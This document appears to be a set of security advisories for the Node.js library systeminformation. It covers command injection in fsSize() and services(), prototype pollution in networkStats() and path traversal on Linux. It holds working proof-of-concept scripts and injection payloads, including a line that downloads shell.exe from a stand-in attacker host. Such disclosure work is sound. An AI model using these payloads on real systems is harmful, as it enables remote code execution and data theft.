Summary
The fsSize() function in systeminformation is vulnerable to OS Command Injection (CWE-78) on Windows systems. The optional drive parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function.
Affected Platforms: Windows only
CVSS Breakdown: - Attack Vector (AV:N): Network - if used in a web application/API - Attack Complexity (AC:H): High - requires application to pass user input to fsSize() - Privileges Required (PR:N): None - no authentication required at library level - User Interaction (UI:N): None - Scope (S:U): Unchanged - executes within Node.js process context - Confidentiality/Integrity/Availability (C:H/I:H/A:H): High impact if exploited
Note: The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to fsSize(), it is not vulnerable.
---
Details
Vulnerable Code Location
File: lib/filesystem.js, Line 197
javascript if (windows) { try { const cmd = Get-WmiObject Win32logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl; util.powerShell(cmd).then((stdout, error) => {
The drive parameter is concatenated directly into the PowerShell command string without any sanitization.
Why This Is a Vulnerability
This is inconsistent with the security pattern used elsewhere in the codebase. Other functions properly sanitize user input using util.sanitizeShellString():
| File | Line | Function | Sanitization | |------|------|----------|--------------| | lib/processes.js | 141 | services() | ✅ util.sanitizeShellString(srv) | | lib/processes.js | 1006 | processLoad() | ✅ util.sanitizeShellString(proc) | | lib/network.js | 1253 | networkStats() | ✅ util.sanitizeShellString(iface) | | lib/docker.js | 472 | dockerContainerStats() | ✅ util.sanitizeShellString(containerIDs, true) | | lib/filesystem.js | 197 | fsSize() | ❌ No sanitization |
The sanitizeShellString() function (defined at lib/util.js:731) removes dangerous characters like ;, &, |, $, , #, etc., which would prevent command injection.
---
PoC
Attack Scenario
An application exposes disk information via an API and passes user input to si.fsSize():
javascript // Vulnerable application example const si = require('systeminformation'); const http = require('http'); const url = require('url');
http.createServer(async (req, res) => { const parsedUrl = url.parse(req.url, true); const drive = parsedUrl.query.drive; // User-controlled input // VULNERABLE: User input passed directly to fsSize() const diskInfo = await si.fsSize(drive); res.end(JSON.stringify(diskInfo)); }).listen(3000);
Exploitation
Normal Request: GET /api/disk?drive=C:
Malicious Request (Command Injection): GET /api/disk?drive=C:;%20whoami%20%23
Command Construction Demonstration
The following demonstrates how commands are constructed with malicious input:
Normal usage: Input: "C:" Command: Get-WmiObject Win32logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl
With injection payload C:; whoami #: Input: "C:; whoami #" Command: Get-WmiObject Win32logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl ↑ ↑ semicolon terminates # comments out rest first command
PowerShell will execute: 1. Get-WmiObject Win32logicaldisk | ... | where -property Caption -eq C: (original command) 2. whoami (injected command) 3. Everything after # is commented out
PoC Script
javascript / Command Injection PoC - systeminformation fsSize() Run with: node poc.js Requires: npm install systeminformation /
const os = require('os');
// Simulates the vulnerable command construction from filesystem.js:197 function simulateVulnerableCommand(drive) { const cmd = Get-WmiObject Win32logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl; return cmd; }
// Test payloads const payloads = [ { name: 'Normal', input: 'C:' }, { name: 'Command Execution', input: 'C:; whoami #' }, { name: 'Data Exfiltration', input: 'C:; Get-Process | Out-File C:\\temp\\procs.txt #' }, { name: 'Remote Payload', input: 'C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe #' }, ];
console.log('=== Command Injection PoC ===\n'); console.log(Platform: ${os.platform()}); console.log(Note: Actual exploitation requires Windows\n);
payloads.forEach(p => { console.log([${p.name}]); console.log( Input: ${p.input}); console.log( Command: ${simulateVulnerableCommand(p.input)}\n); });
PoC Output
=== Command Injection PoC ===
Platform: win32 Note: Actual exploitation requires Windows
[Normal] Input: C: Command: Get-WmiObject Win32logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl
[Command Execution] Input: C:; whoami # Command: Get-WmiObject Win32logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl
[Data Exfiltration] Input: C:; Get-Process | Out-File C:\temp\procs.txt # Command: Get-WmiObject Win32logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Get-Process | Out-File C:\temp\procs.txt # | fl
[Remote Payload] Input: C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe # Command: Get-WmiObject Win32logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe # | fl
As shown, the attacker's commands are injected directly into the PowerShell command string.
---
Impact
Who Is Affected?
- Applications running systeminformation on Windows that pass user-controlled input to fsSize(drive) - Web applications, APIs, or CLI tools that accept drive letters from users - Monitoring dashboards that allow users to specify which drives to query
Potential Attack Scenarios
1. Remote Code Execution (RCE) - Execute arbitrary commands with Node.js process privileges 2. Data Exfiltration - Read sensitive files and exfiltrate data 3. Privilege Escalation - If Node.js runs with elevated privileges 4. Lateral Movement - Use the compromised system to attack internal network 5. Ransomware Deployment - Download and execute malicious payloads
---
Recommended Fix
Apply util.sanitizeShellString() to the drive parameter, consistent with other functions in the codebase:
diff if (windows) { try { + const driveSanitized = drive ? util.sanitizeShellString(drive, true) : ''; - const cmd = Get-WmiObject Win32logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl; + const cmd = Get-WmiObject Win32logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${driveSanitized ? '| where -property Caption -eq ' + driveSanitized : ''} | fl; util.powerShell(cmd).then((stdout, error) => {
The true parameter enables strict mode which removes additional characters like spaces and parentheses.
---
systeminformation thanks developers working on the project. The Systeminformation Project hopes this report helps improve the its security. Please systeminformation know if any additional information or clarification is needed.
Summary
On Windows, systeminformation@5.33.15 builds a PowerShell command using the value passed to services(). The default sanitizer removes ASCII quotes but keeps Unicode curly quotes, spaces, and parentheses. A crafted service name can use those characters to break out of the generated filter string and run a PowerShell expression. The expression runs with the permissions of the Node.js process.
This report confirms version 5.33.15. Other package versions have not been checked.
Details
In lib/processes.js, services() sanitizes the caller's string with sanitizeShellString() and later inserts each resulting name into a Get-CimInstance Win32Service -Filter command. The Windows branch passes that command to util.powerShell().
The sanitizer in lib/util.js removes the ASCII double quote, but it does not remove U+201C or U+201D, the left and right curly double quotation marks. It also permits spaces and parentheses when called in its default, non-strict mode. PowerShell accepts the curly marks as string delimiters, so an input can end the filter string and place a command expression in the generated command.
For example, the input below uses curly quotation marks to end the generated filter string and execute New-Item. I reproduced this call on Windows against the checked-out systeminformation@5.33.15 source; it created a marker file with the Node.js process account.
Proof of concept
Run this on Windows in a disposable directory with Node.js and PowerShell available:
powershell mkdir si-command-injection-repro cd si-command-injection-repro npm init -y npm install systeminformation@5.33.15
Save the following as poc.cjs, then run node poc.cjs:
js 'use strict';
const fs = require('node:fs'); const path = require('node:path'); const si = require('systeminformation');
(async () => { const markerName = si-injection-${process.pid}.txt; const markerPath = path.join(process.cwd(), markerName); fs.rmSync(markerPath, { force: true });
try { await si.services(not-a-service” (New-Item -Name ${markerName} -ItemType File -Force) “); console.log(markerCreated=${fs.existsSync(markerPath)}); } finally { fs.rmSync(markerPath, { force: true }); } })().catch((error) => { console.error(error); process.exitCode = 1; });
Expected output:
text markerCreated=true
The Windows run returned an array and created the marker (markerCreated: true). A benign input left the marker absent. The script removes the marker afterward. I did not identify an application network route that forwards remote input to services(), so remote exploitability depends on the consuming application.
Impact
An application that passes attacker-controlled input to services() on Windows can execute PowerShell commands with the Node.js process account's permissions. Depending on that account, commands may read or change accessible files, alter application data, or disrupt the service. I searched this repository for HTTP servers, route handlers, and listener calls and found none. services() is exposed through the package API and getDynamicData(), so a consuming application could make the input network-reachable if it forwards request data. A separate loopback HTTP harness did trigger the command through a query parameter, but that server was test code and is not part of this repository. The project's docs/security.html already warns that arbitrary untrusted input to services() needs caution because package sanitization does not cover every case.
systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized locate output in versions(). Version 5.31.0 fixes the issue.
systeminformation is a System and OS information library for node.js. From 4.17.0 to 5.31.5, on Linux, systeminformation is vulnerable to command injection in networkInterfaces() when an active NetworkManager connection profile name contains shell metacharacters. The vulnerable value is obtained internally from real nmcli device status output. The library sanitizes the network interface name before using it in shell commands, but it does not apply equivalent sanitization to the parsed NetworkManager connection profile name. That unsanitized connectionName is then interpolated into three shell command strings executed through execSync(). This vulnerability is fixed in 5.31.6.
Summary
networkStats() keeps a per interface cache for computing rxsec / txsec between calls. The cache is a plain JavaScript object and is indexed with the interface name the caller supplied. Passing the name proto makes every cache write land on Object.prototype instead of the cache, polluting every object in the Node.js process.
An application is affected if it passes untrusted input as the ifaces argument of si.networkStats() and runs on FreeBSD, OpenBSD or NetBSD.
Details
The vulnerable code
lib/network.js declares the cache as a plain object:
js const network = {};
calcNetworkSpeed() writes into it, keyed by the interface name:
js } else { if (!network[iface]) { network[iface] = {}; } network[iface].rxbytes = rxbytes; network[iface].txbytes = txbytes; network[iface].rxsec = null; network[iface].txsec = null; network[iface].ms = Date.now(); network[iface].lastms = 0; network[iface].operstate = operstate; }
With iface === 'proto' this misbehaves twice:
1. network['proto'] does not read a missing own property — it invokes the inherited proto getter and returns Object.prototype, which is truthy. The if (!network[iface]) guard therefore never creates the {} placeholder. 2. Each following assignment writes onto Object.prototype.
After one call, rxbytes, txbytes, rxsec, txsec, ms, lastms and operstate are visible on every object in the process. A second call takes the other branch (network['proto'].ms is now truthy) and keeps them updated.
Why the existing sanitizing does not help
The interface name does pass through util.sanitizeString(iface, true) before it is used as the cache key. That function is a shell metacharacter filter, built to stop command injection in the netstat / ifconfig invocations — a different threat. Property names made of letters and underscores are legitimate interface names and pass through untouched:
"a;id" -> "aid" "a$(id)" -> "aid" "a|id" -> "aid" "aid" -> "aid" "proto" -> "proto" <-- unchanged "constructor" -> "constructor" <-- unchanged
The sanitizer is doing its job; the gap is that no layer treats the value as an object key.
Reachability
The cache write is guarded incidentally on three of four platform branches. These guards exist for unrelated reasons and are not a deliberate defence:
| Platform | Code path | Reachable with an arbitrary name? | | --- | --- | --- | | Linux / Android | fs.existsSync('/sys/class/net/' + ifaceSanitized) | No — a non-existent interface returns early | | macOS | requires netstat to emit a data row beyond the header | No — verified on macOS 27, Object.prototype stays clean | | Windows | if (rxbytes && txbytes) — requires a real adapter match | No | | FreeBSD / OpenBSD / NetBSD | if (!error) { …; result = calcNetworkSpeed(ifaceSanitized, …) } | Yes — the call sits outside the parsing loop, so any successful netstat exit reaches it, and netstat -ibndI <unknown> prints only its header and exits 0 |
The important part is not that three platforms happen to be safe, but that nothing in the design prevents the write. Any future platform branch without such a guard reopens the issue, which is why the fix is applied at the cache rather than at the call sites.
Age
The pattern predates the v5 line — git log -S "network[iface] = {}" traces it back to a refactoring before v3.42.5. The v3 and v4 lines are end of life; the advisory covers v5.
Impact
The attacker controls which attributes appear on Object.prototype but not their values — those come from the interface statistics (rxbytes, ms, operstate …). The attribute names are fixed by the library, so this is not an arbitrary-key pollution primitive.
The consequences are therefore application specific and arise from name collisions:
- Any application code that tests if (obj.operstate), if (obj.ms) or similar on an object that should not have those properties now takes the wrong branch. - for…in loops over plain objects gain seven extra enumerable keys, which can corrupt serialisation, configuration merging or validation logic. - Libraries that use {} as a lookup map and check membership with in or truthiness can return values for keys that were never inserted.
No path to remote code execution is known, and the values cannot be chosen by the attacker.
Proof of concept
The underlying primitive (any platform)
js const { calcNetworkSpeed } = require('systeminformation/lib/network.js'); // internal const cache = {}; // the declaration used by the library calcNetworkSpeed('proto', 1, 2, 'up', 0, 0, 0, 0);
console.log({}.rxbytes); // 1 console.log({}.operstate); // 'up' console.log(Object.prototype.hasOwnProperty('rxbytes')); // true
End to end through the public API (FreeBSD / OpenBSD / NetBSD)
js const si = require('systeminformation');
(async () => { console.log('before:', {}.operstate); // undefined await si.networkStats('proto'); // an attacker supplied interface name console.log('after :', {}.operstate); // 'up' -> Object.prototype is polluted })();
On Linux, macOS and Windows the same call returns an empty result set and leaves Object.prototype untouched, for the reasons in the Reachability table.
Patch
lib/network.js — give the cache a null prototype, so proto becomes an ordinary own property instead of a setter into the prototype chain:
diff -const network = {}; +const network = Object.create(null);
This is the smallest change that fixes the class of problem rather than one reachable path:
- It is independent of the platform branches, so no guard has to be added or maintained. - It keeps behaviour identical for every legitimate interface name — Object.keys(), member reads and writes all work unchanged on a null prototype object. - It matches the pattern already used elsewhere in the codebase (lib/filesystem.js:114-115, lib/graphics.js:1060, lib/graphics.js:1087). - Object.create is ES5.1, well below the declared engines.node >= 10.0.0.
After the patch the hostile name is stored as a normal cache entry:
js const cache = Object.create(null); // ... cache['proto'] holds the stats object, Object.prototype is untouched
Workarounds
For users who cannot upgrade immediately, either of these is sufficient:
1. Validate the interface name before calling — accept only names returned by si.networkInterfaces(), or reject the names proto, constructor and prototype. 2. Never pass untrusted input as the ifaces argument. Passing '' or omitting the argument is unaffected, because those names come from the system rather than the caller.
Freezing Object.prototype (Object.freeze(Object.prototype)) also prevents the write, but it has wide-reaching side effects on other dependencies and is not recommended as a general mitigation.
Affected versions
All 5.x releases up to and including 5.33.12. Earlier major lines contain the same pattern but are end of life.
What was verified, and what was not
Verified on this machine (macOS 27, Node 24):
- the pollution primitive, by calling the cache write with iface = 'proto'; - that util.sanitizeString('proto', true) returns the string unchanged, while shell metacharacters are stripped; - that unpatched v5 on macOS does not pollute through the public API; - that netstat -bdnI <unknown-interface> prints only its header and exits 0; - that the patch stores the hostile key as an own property and leaves Object.prototype clean.
Not verified, because no such host was available:
- end to end exploitation on FreeBSD, OpenBSD or NetBSD. That conclusion is derived from reading the BSD branch of networkStatsSingle() — where the calcNetworkSpeed() call sits outside the row parsing loop and is reached whenever netstat exits successfully — combined with the observed netstat exit behaviour above. Worth confirming on a BSD host before publishing, since the affected-platform list depends on it.
Summary
On Linux, systeminformation@5.33.13 builds /sys/class/net/<iface> paths from the caller-supplied networkStats(iface) value without checking that the resolved path stays inside /sys/class/net. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.
Details
The strict string sanitizer removes shell metacharacters but retains / and .. The Linux implementation uses this value in an fs.existsSync('/sys/class/net/' + iface) check and then in seven cat paths for interface statistics. Both operations follow .. path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.
The proof of concept below creates the expected statistics files in a directory writable by the unprivileged nobody user. Its operstate symlink points to a synthetic mode-0600 file under /root. The package call runs as root and returns the marker even though nobody cannot read that file.
PoC
Use a disposable Ubuntu Linux VM with Node.js, npm, and runuser installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:
sh mkdir si-netstats-repro cd si-netstats-repro npm init -y npm install systeminformation@5.33.13
Save the following as poc.cjs in that directory, then run sudo node poc.cjs:
js 'use strict';
const fs = require('node:fs'); const { execFileSync } = require('node:childprocess'); const si = require('systeminformation');
const root = /tmp/si-netstats-${process.pid}; const secret = /root/si-netstats-secret-${process.pid}; const marker = SYNTHETICROOTONLYMARKER${process.pid}; const fixtureCode = const fs = require('node:fs'); const root = process.env.SIFIXTUREROOT; const secret = process.env.SISECRET; fs.mkdirSync(root + '/statistics', { recursive: true }); for (const name of ['rxbytes', 'txbytes', 'rxdropped', 'rxerrors', 'txdropped', 'txerrors']) { fs.writeFileSync(root + '/statistics/' + name, '0\\n'); } fs.symlinkSync(secret, root + '/operstate'); ;
(async () => { try { fs.writeFileSync(secret, marker + '\\n', { mode: 0o600 }); fs.chmodSync(secret, 0o600);
execFileSync('runuser', [ '-u', 'nobody', '--', 'env', SIFIXTUREROOT=${root}, SISECRET=${secret}, process.execPath, '-e', fixtureCode ], { stdio: 'inherit' });
let nobodyCouldRead = true; try { execFileSync('runuser', ['-u', 'nobody', '--', 'cat', secret], { stdio: 'ignore' }); } catch { nobodyCouldRead = false; } if (nobodyCouldRead) throw new Error('negative control failed: nobody read the marker');
const iface = '../'.repeat(24) + root.slice(1); const rows = await si.networkStats(iface); const returned = String(rows[0]?.operstate ?? '').trim(); const success = returned === marker;
console.log(JSON.stringify({ nobodyCouldRead, libraryReturnedRootOnlyMarker: success, returnedOperstate: returned }, null, 2));
if (!success) process.exitCode = 1; } finally { fs.rmSync(root, { recursive: true, force: true }); fs.rmSync(secret, { force: true }); } })().catch((error) => { console.error(error); process.exitCode = 1; });
Expected result:
json { "nobodyCouldRead": false, "libraryReturnedRootOnlyMarker": true, "returnedOperstate": "SYNTHETICROOTONLYMARKER<pid>" }
Impact
The demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated.